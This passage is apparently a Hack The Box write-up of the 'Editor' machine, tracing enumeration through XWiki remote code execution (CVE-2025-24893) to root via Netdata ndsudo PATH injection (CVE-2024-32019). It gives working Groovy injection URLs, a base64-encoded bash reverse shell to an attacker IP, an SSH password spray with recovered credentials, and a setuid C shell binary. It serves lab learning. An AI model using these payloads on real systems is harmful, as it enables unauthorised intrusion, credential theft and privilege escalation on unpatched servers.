src="https://cdn-images-1.medium.com/max/1024/1*6gcdFnRDSK0hLsKsNM9B5A.png" /><figcaption>Environment Setup &amp; Connectivity Verification</figcaption></figure><h3>Network Enumeration and Service Fingerprinting</h3><ul><li>A detailed network scan was conducted to identify exposed services, determine their versions and assess potential attack vectors on the target host:</li></ul><pre>sudo nmap -sCV -vv -oN editor.nmap 10.10.11.80</pre><h4>Key Findings and Analysis</h4><ul><li><strong>Host Discovery and OS indicators</strong>: The host responded with a <strong>TTL</strong> of <strong>63</strong>, which aligns with the default Linux-based networking stacks. Combined with the <strong>SSH banner</strong>, this stronly suggests the system is running Ubuntu Linux and is likely one hop away on the VPN network.</li><li><strong>Port 22/tcp — OpenSSH 8.9p1: </strong>Remote shell access is available.</li><li><strong>Port 80/tcp — nginx 1.18.0: </strong>An immediate redirect to http://editor.htb/ was detected. This implies the server is configured for name-based virtual hosting.</li><li>To properly interact with the application, the hosname must be added to the <strong>system’s hosts</strong> file:</li></ul><pre>10.10.11.80 editor.htb</pre><ul><li><strong>Port 8080/tcp — Jetty 10.0.20 Hosting Xwiki: </strong>An initial resource was requested at <a href="http://10.10.11.80:8080/xwiki/bin/view/Main/">http://10.10.11.80:8080/xwiki/bin/view/Main/</a>. This indicates that port 8080 hosts an installation of <strong>XWiki</strong>, likely associated with the <strong>SimplistCode Pro Editor documentation</strong> based on later redirects.</li><li>robots.txt reveals 50 restricted XWiki endpoints.</li><li>JSESSIONID cookie detected without the HttpOnly flag, confirming the server uses a <strong>Java-based backend</strong>, as expected for <strong>Jetty/XWiki</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tiMXz6fBYjVJGERWTdYQGQ.png" /><figcaption>Network Enumeration &amp; OS fingerprinting</figcaption></figure><h3>Virtual Host Enumeration Using Gobuster</h3><ul><li>To discover alternate <strong>domains and subdomains</strong> VHost enumeration was performed using gobuster:</li></ul><pre>gobuster vhost --url http://editor.htb -wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --threads 100 -output vhosts.txt</pre><ul><li>The scan identified only one virtual host wiki.editor.htb.</li><li>The subdomain was added to the system hosts file:</li></ul><pre>10.10.11.80 editor.htb wiki.editor.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eiZLkzxFcTK9x5BGgYj52Q.png" /><figcaption>Virtual Host Enumeration</figcaption></figure><ul><li>Navigating to http://wiki.editor.htb/ automatically redirected to the documentation wiki.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9xbMv59H-YNq56JmNp0cCQ.png" /><figcaption>Documentation Wiki</figcaption></figure><h3>Analysis of the Primary Site</h3><ul><li>Accessing the main domain revelas a marketing page for a code editor product called <strong>SimplistCode Pro</strong>, described as a lightweight IDE targeted at developers.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XxVV4L5Cxgj_PkhZEc6rXA.png" /><figcaption>SimplistCode Pro Homepage</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uVG5EK5Wfvq1ALVZ7kdjZg.png" /><figcaption>SimplistCode Pro Homepage</figcaption></figure><ul><li>Examining the page source, theindex-VRKEJlit.js script under /assets includes:</li></ul><pre> @license React<br> * react.production.min.js</pre><ul><li>This confirms the frontend is built using <strong>React</strong>, a modern JavaScript Framework.</li><li>Additional validation done using <strong>Wappalyzer</strong>, also identified <strong>React </strong>along with other supporting technologies.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*djgX8FgqFP-SVn_VWlsAHA.png" /><figcaption>Technology Stack Fingerprinting</figcaption></figure><ul><li>The homepage includes a Docs link, which redirects users to <a href="http://wiki.editor.htb/xwiki/bin/view/Main/">http://wiki.editor.htb/xwiki/bin/view/Main/</a></li></ul><p>The wiki documentation page presents:</p><ul><li><em>A detailed introduction to the product.</em></li><li><em>Technical description (built with Python and Tkinter).</em></li><li><em>Installation references.</em></li><li><em>Feature overview including syntax highlighting, terminal integration and theming.</em></li><li><em>Discloses the banner </em><em>XWiki Debian 15.10.8, indicating the running version of the XWiki platform. We’ll check for vulnerabilities later!</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9xbMv59H-YNq56JmNp0cCQ.png" /><figcaption>Documentation Wiki</figcaption></figure><ul><li>The <strong>About</strong> page on http://editor.htb/about presents a detailed description of the development team and the philosophy behind the editor. Nothing useful here! We proceed.</li></ul><h4>Application Artifact Analysis</h4><ul><li>The main application page provides downloadable artifacts for the <strong>SimplistCode Pro editor</strong>, including both a <strong>Debian package</strong> and a <strong>standalone executable</strong>.</li><li>After downloading the Debian package, it was extracted for inspection. Inside the package the primary executable identified was the simplistcode binary alongside other files (control and debian-binary text files).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XkZh9gtq69JFtKVLAIDXOg.png" /><figcaption>simplistcode Package Download, Extraction &amp; Binary Analysis</figcaption></figure><ul><li>To gain additional insight, the binary was examined using strings:</li></ul><pre>strings simplistcode</pre><ul><li>The output contained a significant number of Python-related strings, strongly indicating that the application was packaged using <strong>PyInstsaller</strong>, a common bundling tool for Python applications. This reinforces the product description claiming the editor is built in Python.</li></ul><h3>Directory Enumeration</h3><ul><li>A directory enumeration scan was performed to identify additional hidden or unlinked resources:</li></ul><pre>gobuster dir --url http://editor.htb --wordlist /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt --threads 100 --no-error --output dir_enum.txt</pre><ul><li>The only significant discovery was the /assets directory.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3LoO8HjOM5nvNYuF8g_cDg.png" /><figcaption>Directory Enumeration</figcaption></figure><ul><li>However, navigating to http://editor.htb/assets/ returns <strong>403 Forbidden</strong>, indicating directory listing is disabled.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PfTw7h1D9JPqzmua2LVFgg.png" /><figcaption>Accessing /assets Directory</figcaption></figure><ul><li>A deeper recursive scan against /assets did not reveal any directly accessible files beyond what was already identified through page source analysis:</li></ul><pre>gobuster dir --url http://editor.htb/assets --wordlist /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt --threads 100 --no-error</pre><ul><li>Further enumeration against the wiki domain also did not produce meaningful results:</li></ul><pre>gobuster dir --url http://wiki.editor.htb --wordlist /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt --status-codes-blacklist 302,404 --threads 100 --no-error</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CcYfz9G6_Ho5muozX_t5iA.png" /><figcaption>Deeper Directory Enumeraton</figcaption></figure><ul><li>Attempting to access a non-existent path such as <a href="http://editor.htb/nato,">http://editor.htb/nato,</a> returns a standard <strong>404 Not Found </strong><em>Nginx</em> Error page.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6jp9U8af6-k1AVoUR1yNdQ.png" /><figcaption>Visiting Non-Existent Page</figcaption></figure><h3>XWiki Instance Enumeration and Exploitation Analysis</h3><p>Since we had the version of <strong>XWiki</strong> platform (<em>XWiki Debian 15.10.8</em>), an assessment was conducted to determine whether this version is associated with any known exploits:</p><ul><li>A matching exploit was identified on <a href="http://www.exploit-db.com/exploits/52136"><strong>ExploitDB</strong></a>.</li><li>A corresponding entry was also found on <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24893"><strong>nvd.nist.gov</strong></a><strong> </strong>and <a href="https://www.cvedetails.com/cve/CVE-2025-24893/"><strong>cvedetails.com</strong></a><strong> </strong>platforms.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OG1_ZlniYbC7GpH2QpNdUA.png" /><figcaption>XWiki Exploit</figcaption></figure><ul><li>The following payload was used to test for remote code execution, it prints the contents of /etc/passwd:</li></ul><pre>http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&amp;text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d</pre><ul><li>Executing the expliot directly in a browser triggered a file download SolrSearch:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EnGKqD99RLRb5MZLxI5u1Q.png" /><figcaption>Downloading SolrSearch File</figcaption></figure><ul><li>The contents of the file proves that remote code execution was successful as we can see the contents of passwd file:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GpoKZ20nBoCPwRcsKMGpFA.png" /><figcaption>Contents of SolrSearch File</figcaption></figure><ul><li>The request was also intercepted using <strong>Burp Suite</strong>, successfully revealing the contents of /etc/passwd.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sjbbKKWf0blADfL5OJNoow.png" /><figcaption>Intercepting the Exploit Request</figcaption></figure><blockquote><strong>Groovy</strong> is a <em>dynamic, JVM-based scripting language</em> commonly embedded in Java applications. <strong>XWiki </strong>supports Groovy for <em>server-side script execution</em>, making misconfigurations or injection points highly impacful, as they can lead to <strong>arbitrary code execution</strong>.</blockquote><h4>Obtaining a Reverse Shell</h4><ul><li>A crafted Groovy payload was used to execute a reverse shell.</li><li>We Encoded the reverse shell in <strong>Base64</strong>:</li></ul><pre>echo -n &#39;bash -i &gt;&amp; /dev/tcp/10.10.14.184/9001 0&gt;&amp;1&#39; | base64 -w0</pre><blockquote>Remember to change to your IP address!</blockquote><ul><li>The readable variant:</li></ul><pre>/xwiki/bin/get/Main/SolrSearch?media=rss&amp;text=}}}{{async async=false}}{{groovy}}println([&quot;bash&quot;, &quot;-c&quot;, &quot;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODQvOTAwMSAwPiYx | base64 -d | bash&quot;].execute().text){{/groovy}}{{/async}}</pre><ul><li>The encoded variant:</li></ul><pre>/xwiki/bin/get/Main/SolrSearch?media=rss&amp;text=%7d%7d%7d%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%66%61%6c%73%65%7d%7d%7b%7b%67%72%6f%6f%76%79%7d%7d%70%72%69%6e%74%6c%6e%28%5b%22%62%61%73%68%22%2c%20%22%2d%63%22%2c%20%22%65%63%68%6f%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4f%44%51%76%4f%54%41%77%4d%53%41%77%50%69%59%78%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%22%5d%2e%65%78%65%63%75%74%65%28%29%2e%74%65%78%74%29%7b%7b%2f%67%72%6f%6f%76%79%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d%20</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uu_qKRL-_E5E8AQLNMIZLQ.png" /><figcaption>Url Encoding the Payload</figcaption></figure><ul><li>Intercept the request in <strong>Burp </strong>and setup up a local listener:</li></ul><pre>nc -nlvp 9001</pre><h4>Shell Upgrade</h4><ul><li>Once access was established, the shell was upgraded to an <strong>interactive TTY</strong>:</li><li>Check script availability (<em>you can also use python3</em>):</li></ul><pre>which script</pre><ul><li>Launch a clean bash shell with a fully interactive pseudo-terminal:</li></ul><pre>script /dev/null -c bash</pre><ul><li>Suspend your current shell to return control to your local terminal:</li></ul><pre>Ctrl + z</pre><ul><li>To set your local terminal to raw mode, disable local echo and bring the suspended reverse shell back to the foreground:</li></ul><pre>stty raw -echo;fg</pre><ul><li>Then press &lt;ENTER&gt;</li><li>Set the terminal type to xterm, to allow features like clear and arrow keys to work properly:</li></ul><pre>export TERM=xterm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHDzb7AeCpCo6VytY1C2Ag.png" /><figcaption>Obtaining and Upgrading Reverse Shell</figcaption></figure><h4>User Enumeration</h4><ul><li>Basic user enumeration was performed:</li></ul><pre>whoami</pre><pre>cd /home &amp;&amp; ls</pre><ul><li>Only one valid user directory oliver.</li></ul><pre>grep &#39;sh$&#39; /etc/passwd</pre><ul><li>Only root and oliver have login shells.</li></ul><pre>cat /etc/passwd</pre><ul><li>xwiki and _laurel accounts exist but are <strong>non-login</strong> users.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zdZmViDwnW4Y4_LNYeoA0g.png" /><figcaption>User Enumeration</figcaption></figure><h4>XWiki Configuration Enumeration</h4><ul><li>Given access to the <strong>XWiki</strong> service, configuration files were reviewed, which are normally located in /etc directory:</li></ul><pre>cd /etc</pre><pre>ls -la | grep xwiki</pre><pre>cd xwiki</pre><ul><li>Basic configuration was extracted but nothing important:</li></ul><pre>grep -Ev &quot;^#|^$&quot; xwiki.cfg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vN8ETMV4xq4t70GZ_8Sw3Q.png" /><figcaption>XWiki Configuration Enumeration</figcaption></figure><ul><li>Examination of web.xml did not reveal sensitive information:</li></ul><pre>cat web.xml</pre><h4>Credential Discovery</h4><ul><li>A recursive search for stored credentials returned multiple hits:</li></ul><pre>grep -rni password</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Oy9kacN3pFdtq9-0A8Jng.png" /></figure><ul><li>This revealed cleartext database passwords within hibernate.cfg.xml:</li></ul><pre>&lt;property name=&quot;hibernate.connection.username&quot;&gt;xwiki&lt;/property&gt;<br>&lt;property name=&quot;hibernate.connection.password&quot;&gt;theEd1t0rTeam99&lt;/property&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9QdjVjhLW7HxcDw9aGcbsA.png" /><figcaption>Cleartext Database Credentials</figcaption></figure><ul><li>The credentials may provide database access or be reused elsewhere in the application stack.</li></ul><h3>Database Enumeration</h3><ul><li>To investigate whether sensitive information was stored within the backend database, access was obtained using the previously recovered credentials:</li></ul><pre>mysql -u xwiki -ptheEd1t0rTeam99</pre><ul><li>The initial review of available databases was performed:</li></ul><pre>SHOW databases;</pre><ul><li>The primary application data is stored in the xwiki database, which we select with:</li></ul><pre>USE xwiki;</pre><ul><li>To enumerate the tables:</li></ul><pre>SHOW tables;</pre><ul><li>This revealed 40 tables related to <strong>XWiki</strong> content, configuration, indexing and metadata.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mwa7FcANlOg3ha6iW7N4Zg.png" /><figcaption>Database Enumeration</figcaption></figure><ul><li>To identify fields containing credential-related strings, the following query was used to generate targeted searches across all columns (<em>optional</em>):</li></ul><pre>SELECT CONCAT(&#39;SELECT * FROM `&#39;, TABLE_NAME, &#39;` WHERE `&#39;, COLUMN_NAME, &#39;` LIKE &quot;%password%&quot;;&#39;) AS query_to_run FROM information_schema.columns WHERE TABLE_SCHEMA = &#39;xwiki&#39;;</pre><p>Executing the most relevant queries produced notable results.</p><ul><li>Search in xwikistrings for password values:</li></ul><pre>SELECT * FROM `xwikistrings` WHERE `XWS_NAME` LIKE &quot;%password%&quot;;</pre><ul><li>Querying by the associated ID:</li></ul><pre>SELECT * FROM xwikistrings WHERE XWS_ID = -5552625943482576562;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O-RsZB0gjpuoC0PlU6GpLA.png" /><figcaption>Database Credential Enumeration</figcaption></figure><p>This identified the user’s full associated metadata:</p><ul><li><strong>Email:</strong> neal@editor.htb</li><li><strong>First Name:</strong> Neal</li><li><strong>Last Name:</strong> Bagwell</li><li><strong>Password (hashed)</strong>: hash:SHA-512:dac65976a9f09bcd15bd2c5c6eae4c43b06f316be7ae6b191db26580b1211bef:6b8f547e3742e998380da4f9d426773430a7982a946b9bfd94da0d7abe0d472c5ff08fcb8b0a908bc293da82298053ba348872099bd88f059a7838c38b670153</li></ul><p>Attempts to crack this hash were unsuccessful!</p><h4>Password Reuse Testing</h4><ul><li>Given the cleartext database password, the next step was to test for password reuse by system users, particularly via <strong>SSH</strong> (<em>identified earlier through Nmap enumeration</em>):</li><li>Initial test via su:</li></ul><pre>su - oliver</pre><ul><li>Resulted in failed authentication!</li><li>Using NetExec (nxc) and <strong>users list</strong> derived from enumeration:</li></ul><pre>root<br>oliver</pre><ul><li>The following password spray was executed:</li></ul><pre>nxc ssh editor.htb -u users -p &#39;theEd1t0rTeam99&#39; --no-bruteforce --continue-on-success</pre><ul><li>A successful authentication was obtained for the oliver account.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aWnhwkunVBCi6D4y3aO_7g.png" /><figcaption>Password Reuse Testing</figcaption></figure><h4>SSH Access</h4><ul><li>Using the discovered valid credentials we login via <strong>SSH</strong>:</li></ul><pre>ssh oliver@editor.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*flHQ88moRlo5cLnSQA9IFA.png" /><figcaption>Accessing SSH</figcaption></figure><h3>Privilege Escalation via Netdata ndsudo Path Injection</h3><ul><li>After obtaining the <strong>user flag</strong>, further enumeration was conducted to identify potential privilege escalation vectors.</li></ul><h4>User Enumeration</h4><ul><li>Checked available sudo privileges using:</li></ul><pre>sudo -l</pre><ul><li>No privileges with the error “Sorry, user oliver may not run sudo on editor.”</li><li>Searched for files owned by oliver, but no notable results were found:</li></ul><pre>find / -user oliver 2&gt;/dev/null | grep -v &#39;/run\|/proc\|/sys&#39;</pre><ul><li>Retrieved user and group information:</li></ul><pre>id</pre><pre>groups</pre><ul><li>This showed membership in the oliver and netdata groups for oliver user.</li><li>Enumerated directories belonging to the netdata group:</li></ul><pre>find / -type d -group netdata 2&gt;/dev/null</pre><ul><li>This revealed the presence of the <strong>Netdata</strong> monitoring tool.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bSgkRJMw6Dgke-JvoMUyLg.png" /><figcaption>User and Group Enumeration</figcaption></figure><h4>Netdata Investigation</h4><ul><li>Navigating to the Netdata binary directory, confirms the presence of netdata executable:</li></ul><pre>cd /opt/netdata/bin</pre><pre>ls -la netdata</pre><pre>file netdata</pre><pre>cat netdata</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hsQISX4V3OlKJPkhujTyDg.png" /><figcaption>Netdata Executable</figcaption></figure><ul><li>Viewing Netdata help menu revealed the default port (19999)it’s running on:</li></ul><pre>./netdata -h</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8es8IlxczwGMg8lYwI2dFQ.png" /><figcaption>Netdata Help Menu</figcaption></figure><ul><li>To view build information on Netdata:</li></ul><pre>./netdata -W buildinfo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LZ2a9fW_-GXrj4kYarPexg.png" /><figcaption>Netdata Build Information</figcaption></figure><ul><li>Validated that Netdata was actively running by inspecting listening services and forwarding port 19999 for dashboard access via SSH tunneling:</li></ul><pre>ss -nltp</pre><pre>ssh -L 19999:127.0.0.1:19999 oliver@editor.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S35QdFIi9cxjzz7f0dqmjQ.png" /><figcaption>Listening Services and SSH Tunneling</figcaption></figure><ul><li>Accessing http://127.0.0.1:19999/ confirmed the dashboard was operational.</li><li>We also get a notification that a node we are running is vulnerable:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9q1xuNhboTDp_HESh2nBGw.png" /><figcaption>Netdata Dashboard</figcaption></figure><ul><li>Clicking Please update them opens a prompt indicating that a node is outdated. It states that the current version (v1.45.2) should be upgraded to the latest release (v1.46.0). The prompt also notes that the existing version contains a <strong>critical vulnerability</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MZXxTubOw4LNSbRBsF27rQ.png" /><figcaption>Update Prompt</figcaption></figure><h4>Vulnerability Assessment</h4><ul><li>A review of Netdata’s security disclosures revealed a privilege-escalation issue involving the ndsudo binary:</li><li>According to <a href="https://www.cvedetails.com/cve/CVE-2024-32019/"><strong>cvedetails.com</strong></a></li></ul><blockquote>Netdata is an open source observability tool. In affected versions the ndsudo tool shipped with affected versions of the Netdata Agent allows an attacker to run arbitrary programs with root permissions. The ndsudotool is packaged as a root-owned executable with the SUID bit set. It only runs a restricted set of external commands, but its search paths are supplied by the PATH environment variable. This allows an attacker to control where ndsudo looks for these commands, which may be a path the attacker has write access to. This may lead to local privilege escalation.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8DI5tBiRtyfKoKwhh9GSKA.png" /><figcaption>Vulnerability Assessment</figcaption></figure><h4>Vulnerability Confirmation</h4><ul><li>Enumerated all SUID binaries:</li></ul><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><ul><li>Located ndsudo:</li></ul><pre>find / -type f -name &quot;*ndsudo*&quot; 2&gt;/dev/null</pre><ul><li>Confirmed SUID permissions:</li></ul><pre>ls -la /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo</pre><ul><li>stat utility can also be used to enumerate SUID permissions:</li></ul><pre>stat /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo</pre><ul><li>The binary was owned by root, executable by the netdata group, and had the SUID bit set.</li></ul><h4>Using LinPEAS for Automated Enumeration</h4><p>On the attacker machine (<em>our machine</em>):</p><ul><li>Download the latest LinPEAS privilege-escalation script:</li></ul><pre>wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh</pre><ul><li>Make the script executable:</li></ul><pre>chmod +x linpeas.sh</pre><ul><li>List file details to verify permissions and ownership:</li></ul><pre>ls -la linpeas.sh</pre><ul><li>Copy the script to the target machine’s /dev/shm directory:</li></ul><pre>scp linpeas.sh oliver@editor.htb:/dev/shm</pre><p>On the Remote Shell (<em>target</em>):</p><ul><li>Move into /dev/shm where LinPEAS was uploaded:</li></ul><pre>cd /dev/shm</pre><ul><li>Confirm the file was successfully transfered:</li></ul><pre>ls -la linpeas.sh</pre><ul><li>Execute LinPEAS to begin automated privilege escalation:</li></ul><pre>./linpeas.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aTDkSoys7JIjmF4PiuKVcg.png" /><figcaption>Downloading, Uploading and Executing LinPEAS</figcaption></figure><p>LinPEAS highlights the ndsudo <strong>SUID</strong> binary under:</p><ul><li><em>Files with Interesting Permissions</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7nG7u0OXUdatAykvQBTQcQ.png" /><figcaption>LinPEAS Results</figcaption></figure><ul><li><em>Readable files belonging to root and readable by me but not world readable</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sW_TOOgo5KeEKK5Mzx0iCw.png" /><figcaption>LinPEAS Results</figcaption></figure><p>Attempted execution:</p><pre>/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo</pre><ul><li>From the restricted xwiki shell: We get a Permission denied.</li><li>From the oliver shell: execution succeeded.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bISAbxyaUKxPMpr3TOgLCQ.png" /><figcaption>Locating and executing ndsudo Binary</figcaption></figure><ul><li>Running ndsudo -h displayed the help menu.</li><li>Attempting to run a permitted <strong>Netdata</strong> operation such as nvme-list, resulted in: nvme : not available in PATH.</li><li>This confirmed the presence of a PATH injection vulnerability.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mJLKWkMd5H5MXekkp9AMrw.png" /><figcaption>ndsudo Help menu and Execution</figcaption></figure><h4>Exploiting PATH Injection</h4><p>On the attacker machine (<em>our machine</em>):</p><ul><li>Created a malicious C program which spawns a privileged shell:</li></ul><pre>#include &lt;stdlib.h&gt;  <br>#include &lt;unistd.h&gt;  <br>  <br>void main()  <br>{  <br>setuid(0);  <br>setgid(0);  <br>system(&quot;bash -p&quot;);<br>}</pre><ul><li>Compiled the <strong>C source code</strong> into an executable named nvme:</li></ul><pre>gcc nvme.c -o nvme</pre><ul><li>Uploaded the compiled binary to the target machine’s /dev/shm directory:</li></ul><pre>scp nvme oliver@editor.htb:/dev/shm</pre><p>On the Remote Shell (<em>target</em>):</p><ul><li>Navigate to the directory where the malicious binary was uploaded:</li></ul><pre>cd /dev/shm</pre><ul><li>Verify the presence and the permissions of the uploaded binary:</li></ul><pre>ls -la nvme</pre><ul><li>Confirm the file type (<em>optional</em>):</li></ul><pre>file nvme</pre><ul><li>Prepend the current directory to the PATH variable, ensuring the malicious nvme binary is found before legitimate system binaries:</li></ul><pre>export PATH=$(pwd):$PATH</pre><ul><li>Display the updated PATH to verify the modificaton:</li></ul><pre>echo $PATH</pre><ul><li>Execute the vulnerable <strong>SUID</strong> binary, which attempts to run nvme-list :</li></ul><pre>/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list</pre><ul><li>Due to the modified PATH, it instead executes the attacker-controlled nvme binary with <strong>root</strong> privileges granting us a <strong>root shell access.</strong></li><li>We enumerate our root user and get the root flag!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7WPD6cSczlvp9njwQW3azg.png" /><figcaption>Creating, Uploading and Executing the Malicious nvme Binary</figcaption></figure><h3>Conclusion</h3><p>Editor highlights how small misconfigurations can combine into a full system compromise. From <em>XWiki RCE</em> to <em>reused credentials</em> and a <em>vulnerable NetData binary</em>, we ultimately gain <strong>full root access</strong>. Always remember to keep your systems patched and properly secured. <em>Hasta pronto😎</em></p><h3>References</h3><ul><li><a href="https://www.exploit-db.com/exploits/52136">XWiki Platform Remote Code Execution: ExploitDB</a></li><li><a href="https://www.cvedetails.com/cve/CVE-2025-24893/">CVE Details: CVE-2025–24893</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24893">NIST: CVE-2025–24893</a></li><li><a href="https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py">CVE-2025–24893 PoC</a></li><li><a href="https://groovy-lang.gitlab.io/101-scripts/basico/command_local-en.html">Execute Commands in Groovy</a></li><li><a href="https://www.cvedetails.com/cve/CVE-2024-32019/">NetData: CVE-32019</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a93292e61cae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Era Writeup]]></title>
            <link>https://medium.com/@natius/htb-era-writeup-39501b950c62?source=rss-2b663cf34d6------2</link>
